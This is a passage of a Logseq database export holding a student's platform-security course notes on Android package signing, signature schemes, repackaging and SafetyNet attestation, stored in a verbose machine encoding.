securitylogseq____",536870916]],[logseq____"^15logseq____",[135,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[135,logseq____"^Flogseq____",136,536870916]],[logseq____"^15logseq____",[135,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[135,logseq____"^Vlogseq____",141,536870916]],[logseq____"^15logseq____",[135,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[135,logseq____"^;logseq____",logseq____"~u67b83fac-9202-4eef-8da0-985029469d5dlogseq____",536870916]],[logseq____"^15logseq____",[136,logseq____"^Qlogseq____",logseq____"Usable Securitylogseq____",536870916]],[logseq____"^15logseq____",[136,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[136,logseq____"^Flogseq____",138,536870916]],[logseq____"^15logseq____",[136,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[136,logseq____"^Vlogseq____",141,536870916]],[logseq____"^15logseq____",[136,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[136,logseq____"^;logseq____",logseq____"~u67b83fac-cf61-4610-942e-67774c561098logseq____",536870916]],[logseq____"^15logseq____",[137,logseq____"^Qlogseq____",logseq____"Hardware-based securitylogseq____",536870916]],[logseq____"^15logseq____",[137,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[137,logseq____"^Flogseq____",135,536870916]],[logseq____"^15logseq____",[137,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[137,logseq____"^Vlogseq____",141,536870916]],[logseq____"^15logseq____",[137,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[137,logseq____"^;logseq____",logseq____"~u67b83fac-6e64-4223-89c8-6211f4ee2864logseq____",536870916]],[logseq____"^15logseq____",[138,logseq____"^Qlogseq____",logseq____"Platform Securitylogseq____",536870916]],[logseq____"^15logseq____",[138,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[138,logseq____"^Flogseq____",133,536870916]],[logseq____"^15logseq____",[138,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[138,logseq____"^Vlogseq____",141,536870916]],[logseq____"^15logseq____",[138,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[138,logseq____"^;logseq____",logseq____"~u67b83fac-e583-4414-870d-ed2091e6acc0logseq____",536870916]],[logseq____"^15logseq____",[139,logseq____"^Qlogseq____",logseq____"Fuchsialogseq____",536870916]],[logseq____"^15logseq____",[139,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[139,logseq____"^Flogseq____",137,536870916]],[logseq____"^15logseq____",[139,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[139,logseq____"^Vlogseq____",141,536870916]],[logseq____"^15logseq____",[139,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[139,logseq____"^;logseq____",logseq____"~u67b83fac-8635-4a87-8db5-96c8250e4227logseq____",536870916]],[logseq____"^15logseq____",[140,logseq____"^Qlogseq____",logseq____"End-Term: `28.02.2025`, `10:00-12:00` @`GHH`logseq____",536870916]],[logseq____"^15logseq____",[140,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[140,logseq____"^Flogseq____",142,536870916]],[logseq____"^15logseq____",[140,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[140,logseq____"^Vlogseq____",142,536870916]],[logseq____"^15logseq____",[140,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[140,logseq____"^;logseq____",logseq____"~u67b83fac-ff5f-46be-a1b3-a6aa24ba4642logseq____",536870916]],[logseq____"^15logseq____",[141,logseq____"^Qlogseq____",logseq____"## Content:logseq____",536870916]],[logseq____"^15logseq____",[141,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[141,logseq____"^Flogseq____",142,536870916]],[logseq____"^15logseq____",[141,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[141,logseq____"^Vlogseq____",132,536870916]],[logseq____"^15logseq____",[141,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[141,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[141,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[141,logseq____"^;logseq____",logseq____"~u67b83fac-83d8-44db-8eca-8b95018248f9logseq____",536870916]],[logseq____"^15logseq____",[142,logseq____"^Qlogseq____",logseq____"## Examslogseq____",536870916]],[logseq____"^15logseq____",[142,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[142,logseq____"^Flogseq____",132,536870916]],[logseq____"^15logseq____",[142,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[142,logseq____"^Vlogseq____",132,536870916]],[logseq____"^15logseq____",[142,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[142,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[142,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[142,logseq____"^;logseq____",logseq____"~u67b83fac-6935-44cd-b67a-d58ff474fcb5logseq____",536870916]],[logseq____"^15logseq____",[144,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[144,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[144,logseq____"^Ylogseq____",logseq____"package integrity and authenticitylogseq____",536870916]],[logseq____"^15logseq____",[144,logseq____"^11logseq____",logseq____"Package Integrity and Authenticitylogseq____",536870916]],[logseq____"^15logseq____",[144,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[144,logseq____"^;logseq____",logseq____"~u67b983c6-80b0-4285-b890-1fee3bfc13fclogseq____",536873220]],[logseq____"^15logseq____",[145,logseq____"^Qlogseq____",logseq____"### SafetyNet Attestationlogseq____",536870916]],[logseq____"^15logseq____",[145,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[145,logseq____"^Flogseq____",163,536870916]],[logseq____"^15logseq____",[145,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[145,logseq____"^Vlogseq____",165,536870916]],[logseq____"^15logseq____",[145,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[145,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[145,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[145,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[145,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[145,logseq____"^;logseq____",logseq____"~u67b83fac-5ece-4a11-bce5-80ed380babd1logseq____",536870916]],[logseq____"^15logseq____",[146,logseq____"^Qlogseq____",logseq____"No authenticity (developer self-signs certificate)logseq____",536870916]],[logseq____"^15logseq____",[146,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[146,logseq____"^Flogseq____",162,536870916]],[logseq____"^15logseq____",[146,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[146,logseq____"^Vlogseq____",166,536870916]],[logseq____"^15logseq____",[146,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[146,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[146,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[146,logseq____"^;logseq____",logseq____"~u67b83fac-7f36-48d3-aff1-8d217ec670b1logseq____",536870916]],[logseq____"^15logseq____",[147,logseq____"^Qlogseq____",logseq____"#### Master Key Vulnerability (Signing Key)logseq____",536870916]],[logseq____"^15logseq____",[147,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[147,logseq____"^Flogseq____",168,536870916]],[logseq____"^15logseq____",[147,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[147,logseq____"^Vlogseq____",154,536870916]],[logseq____"^15logseq____",[147,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[147,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[147,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[147,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",4],536870916]],[logseq____"^15logseq____",[147,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[147,logseq____"^;logseq____",logseq____"~u67b83fac-72b2-4b5b-914f-cafeaf17937flogseq____",536870916]],[logseq____"^15logseq____",[148,logseq____"^Qlogseq____",logseq____"Created using `apksigner`logseq____",536870916]],[logseq____"^15logseq____",[148,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[148,logseq____"^Flogseq____",170,536870916]],[logseq____"^15logseq____",[148,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[148,logseq____"^Vlogseq____",170,536870916]],[logseq____"^15logseq____",[148,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[148,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[148,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[148,logseq____"^;logseq____",logseq____"~u67b83fac-89ba-45f8-9f5e-881a59176c1flogseq____",536870916]],[logseq____"^15logseq____",[149,logseq____"^Qlogseq____",logseq____"~`logseq____<signerlogseq____>.SF`: List of resources and their signature valuelogseq____",536870916]],[logseq____"^15logseq____",[149,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[149,logseq____"^Flogseq____",151,536870916]],[logseq____"^15logseq____",[149,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[149,logseq____"^Vlogseq____",172,536870916]],[logseq____"^15logseq____",[149,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[149,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[149,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[149,logseq____"^;logseq____",logseq____"~u67b83fac-a626-4e75-8929-b8c44f36d1a9logseq____",536870916]],[logseq____"^15logseq____",[150,logseq____"^Qlogseq____",logseq____"New publishing formatlogseq____",536870916]],[logseq____"^15logseq____",[150,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[150,logseq____"^Flogseq____",166,536870916]],[logseq____"^15logseq____",[150,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[150,logseq____"^Vlogseq____",166,536870916]],[logseq____"^15logseq____",[150,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[150,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[150,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[150,logseq____"^;logseq____",logseq____"~u67b83fac-8c1e-4034-8b5d-19fbfc832580logseq____",536870916]],[logseq____"^15logseq____",[151,logseq____"^Qlogseq____",logseq____"~`Manifest.mf`: List of packaged files and their hashlogseq____",536870916]],[logseq____"^15logseq____",[151,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[151,logseq____"^Flogseq____",172,536870916]],[logseq____"^15logseq____",[151,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[151,logseq____"^Vlogseq____",172,536870916]],[logseq____"^15logseq____",[151,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[151,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[151,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[151,logseq____"^;logseq____",logseq____"~u67b83fac-ae62-4d8f-a014-6e56134cd4d5logseq____",536870916]],[logseq____"^15logseq____",[152,logseq____"^Qlogseq____",logseq____"Android *installed* the *second* filelogseq____",536870916]],[logseq____"^15logseq____",[152,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[152,logseq____"^Flogseq____",153,536870916]],[logseq____"^15logseq____",[152,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[152,logseq____"^Vlogseq____",147,536870916]],[logseq____"^15logseq____",[152,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[152,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[152,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[152,logseq____"^;logseq____",logseq____"~u67b83fac-98c8-4485-9491-b954df933b13logseq____",536870916]],[logseq____"^15logseq____",[153,logseq____"^Qlogseq____",logseq____"Android *verfied* the *first* filelogseq____",536870916]],[logseq____"^15logseq____",[153,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[153,logseq____"^Flogseq____",175,536870916]],[logseq____"^15logseq____",[153,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[153,logseq____"^Vlogseq____",147,536870916]],[logseq____"^15logseq____",[153,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[153,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[153,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[153,logseq____"^;logseq____",logseq____"~u67b83fac-7ffe-475b-9860-738b98e5acfclogseq____",536870916]],[logseq____"^15logseq____",[154,logseq____"^Qlogseq____",logseq____"### Signature Scheme v1 (JAR signing) #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[154,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[154,logseq____"^Flogseq____",160,536870916]],[logseq____"^15logseq____",[154,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[154,logseq____"^Vlogseq____",160,536870916]],[logseq____"^15logseq____",[154,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[154,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[154,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[154,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[154,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[154,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[154,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[154,logseq____"^;logseq____",logseq____"~u67b83fac-cd58-4b54-90dc-0fbe6da0861flogseq____",536870916]],[logseq____"^15logseq____",[155,logseq____"^Qlogseq____",logseq____"*trust on first install*logseq____",536870916]],[logseq____"^15logseq____",[155,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[155,logseq____"^Flogseq____",146,536870916]],[logseq____"^15logseq____",[155,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[155,logseq____"^Vlogseq____",146,536870916]],[logseq____"^15logseq____",[155,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[155,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[155,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[155,logseq____"^;logseq____",logseq____"~u67b83fac-caf9-4ff4-882a-b3dab56d10cblogseq____",536870916]],[logseq____"^15logseq____",[156,logseq____"^Qlogseq____",logseq____"Verify App runs on a verified devicelogseq____",536870916]],[logseq____"^15logseq____",[156,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[156,logseq____"^Flogseq____",145,536870916]],[logseq____"^15logseq____",[156,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[156,logseq____"^Vlogseq____",145,536870916]],[logseq____"^15logseq____",[156,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[156,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[156,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[156,logseq____"^;logseq____",logseq____"~u67b83fac-1243-4e5b-af45-1c9c3a85be4elogseq____",536870916]],[logseq____"^15logseq____",[157,logseq____"^Qlogseq____",logseq____"~```mermaid\\nflowchart TB\\n B(\\logseq____"Step 1: Verify the certificate\\logseq____") --logseq____> C(\\logseq____"Step 2: Using certificatelogseq____'s public key, verify the signature of logseq____&lt;signerlogseq____&gt;.sf\\logseq____")\\n C --logseq____> D(\\logseq____"Step 3: Check that entries in logseq____&lt;signerlogseq____&gt;.sf match those in Manifest.mf\\logseq____")\\n D --logseq____> E(\\logseq____"Step 4: For each file listed in Manifest.mf, confirm its hash is correct\\logseq____")\\n\\n```logseq____",536870916]],[logseq____"^15logseq____",[157,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[157,logseq____"^Flogseq____",168,536870916]],[logseq____"^15logseq____",[157,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[157,logseq____"^Vlogseq____",168,536870916]],[logseq____"^15logseq____",[157,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[157,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[157,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[157,logseq____"^;logseq____",logseq____"~u67b83fac-5acc-4dab-b09e-587a6642652dlogseq____",536870916]],[logseq____"^15logseq____",[158,logseq____"^Qlogseq____",logseq____"Contains code and resources (*organized in modules*)logseq____",536870916]],[logseq____"^15logseq____",[158,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[158,logseq____"^Flogseq____",150,536870916]],[logseq____"^15logseq____",[158,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[158,logseq____"^Vlogseq____",166,536870916]],[logseq____"^15logseq____",[158,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[158,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[158,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[158,logseq____"^;logseq____",logseq____"~u67b83fac-561a-4379-9490-03155a367df2logseq____",536870916]],[logseq____"^15logseq____",[159,logseq____"^Qlogseq____",logseq____"subsequent updates ensure integritylogseq____",536870916]],[logseq____"^15logseq____",[159,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[159,logseq____"^Flogseq____",155,536870916]],[logseq____"^15logseq____",[159,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[159,logseq____"^Vlogseq____",146,536870916]],[logseq____"^15logseq____",[159,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[159,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[159,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[159,logseq____"^;logseq____",logseq____"~u67b83fac-86c2-4f78-a3a8-5e3e0face7bclogseq____",536870916]],[logseq____"^15logseq____",[160,logseq____"^Qlogseq____",logseq____"## Signature Schemeslogseq____",536870916]],[logseq____"^15logseq____",[160,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[160,logseq____"^Flogseq____",169,536870916]],[logseq____"^15logseq____",[160,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[160,logseq____"^Vlogseq____",144,536870916]],[logseq____"^15logseq____",[160,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[160,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[160,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[160,logseq____"^;logseq____",logseq____"~u67b83fac-747f-414d-8431-d25e8a722816logseq____",536870916]],[logseq____"^15logseq____",[161,logseq____"^Qlogseq____",logseq____"*Google Play Integrity API* as successorlogseq____",536870916]],[logseq____"^15logseq____",[161,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[161,logseq____"^Flogseq____",177,536870916]],[logseq____"^15logseq____",[161,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[161,logseq____"^Vlogseq____",145,536870916]],[logseq____"^15logseq____",[161,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[161,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[161,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[161,logseq____"^;logseq____",logseq____"~u67b83fac-32f3-4d65-9420-4391c5e6bd3flogseq____",536870916]],[logseq____"^15logseq____",[162,logseq____"^Qlogseq____",logseq____"APK generation deferred to Google Play (chooses appropriate APK)logseq____",536870916]],[logseq____"^15logseq____",[162,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[162,logseq____"^Flogseq____",158,536870916]],[logseq____"^15logseq____",[162,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[162,logseq____"^Vlogseq____",166,536870916]],[logseq____"^15logseq____",[162,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[162,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[162,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[162,logseq____"^;logseq____",logseq____"~u67b83fac-c0c1-45d1-9987-4c189bd28b0alogseq____",536870916]],[logseq____"^15logseq____",[163,logseq____"^Qlogseq____",logseq____"Only works for first-installs (SOP of subsequent updates)logseq____",536870916]],[logseq____"^15logseq____",[163,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[163,logseq____"^Flogseq____",164,536870916]],[logseq____"^15logseq____",[163,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[163,logseq____"^Vlogseq____",165,536870916]],[logseq____"^15logseq____",[163,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[163,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[163,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[163,logseq____"^;logseq____",logseq____"~u67b83fac-5fad-47d9-b746-fb6b9f201f20logseq____",536870916]],[logseq____"^15logseq____",[164,logseq____"^Qlogseq____",logseq____"Self-signed signatures allow for re-packaging modified contentlogseq____",536870916]],[logseq____"^15logseq____",[164,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[164,logseq____"^Flogseq____",165,536870916]],[logseq____"^15logseq____",[164,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[164,logseq____"^Vlogseq____",165,536870916]],[logseq____"^15logseq____",[164,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[164,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[164,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[164,logseq____"^;logseq____",logseq____"~u67b83fac-9712-46e3-821b-e23a7fbd3aeclogseq____",536870916]],[logseq____"^15logseq____",[165,logseq____"^Qlogseq____",logseq____"## Repackaging #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[165,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[165,logseq____"^Flogseq____",166,536870916]],[logseq____"^15logseq____",[165,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[165,logseq____"^Vlogseq____",144,536870916]],[logseq____"^15logseq____",[165,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[165,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[165,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[165,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[165,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[165,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[165,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[165,logseq____"^;logseq____",logseq____"~u67b83fac-bd25-40cd-babc-d468b8e9174flogseq____",536870916]],[logseq____"^15logseq____",[166,logseq____"^Qlogseq____",logseq____"## App Bundles #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[166,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[166,logseq____"^Flogseq____",160,536870916]],[logseq____"^15logseq____",[166,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[166,logseq____"^Vlogseq____",144,536870916]],[logseq____"^15logseq____",[166,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[166,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[166,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[166,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[166,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[166,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[166,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[166,logseq____"^;logseq____",logseq____"~u67b83fac-05d5-46f5-8f1e-4b3537730fd5logseq____",536870916]],[logseq____"^15logseq____",[167,logseq____"^Qlogseq____",logseq____"Mobile Platforms use signed application packages (Android: developer signed; IOS: Market signed)logseq____",536870916]],[logseq____"^15logseq____",[167,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[167,logseq____"^Flogseq____",169,536870916]],[logseq____"^15logseq____",[167,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[167,logseq____"^Vlogseq____",169,536870916]],[logseq____"^15logseq____",[167,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[167,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[167,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[167,logseq____"^;logseq____",logseq____"~u67b83fac-67cd-4d9f-80bc-e3c547fcca08logseq____",536870916]],[logseq____"^15logseq____",[168,logseq____"^Qlogseq____",logseq____"Verfied by Chain-of-Trust logseq____",536870916]],[logseq____"^15logseq____",[168,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[168,logseq____"^Flogseq____",172,536870916]],[logseq____"^15logseq____",[168,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[168,logseq____"^Vlogseq____",154,536870916]],[logseq____"^15logseq____",[168,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[168,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[168,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[168,logseq____"^;logseq____",logseq____"~u67b83fac-5d8b-4e66-a3a6-f9096c299f5dlogseq____",536870916]],[logseq____"^15logseq____",[169,logseq____"^Qlogseq____",logseq____"## Package Signing #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[169,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[169,logseq____"^Flogseq____",144,536870916]],[logseq____"^15logseq____",[169,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[169,logseq____"^Vlogseq____",144,536870916]],[logseq____"^15logseq____",[169,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[169,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[169,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[169,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[169,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[169,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[169,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[169,logseq____"^;logseq____",logseq____"~u67b83fac-26ed-467b-a3de-cf9c2d37514dlogseq____",536870916]],[logseq____"^15logseq____",[170,logseq____"^Qlogseq____",logseq____"### APK Signature Scheme v2 #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[170,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[170,logseq____"^Flogseq____",154,536870916]],[logseq____"^15logseq____",[170,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[170,logseq____"^Vlogseq____",160,536870916]],[logseq____"^15logseq____",[170,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[170,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[170,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[170,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[170,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[170,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[170,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[170,logseq____"^;logseq____",logseq____"~u67b83fac-b835-4603-a52f-5153e8a2ce4flogseq____",536870916]],[logseq____"^15logseq____",[171,logseq____"^Qlogseq____",logseq____"~`logseq____<signerlogseq____>.{RSA,DSA,EC}`: Application and signer Certificate(Using [PKCS 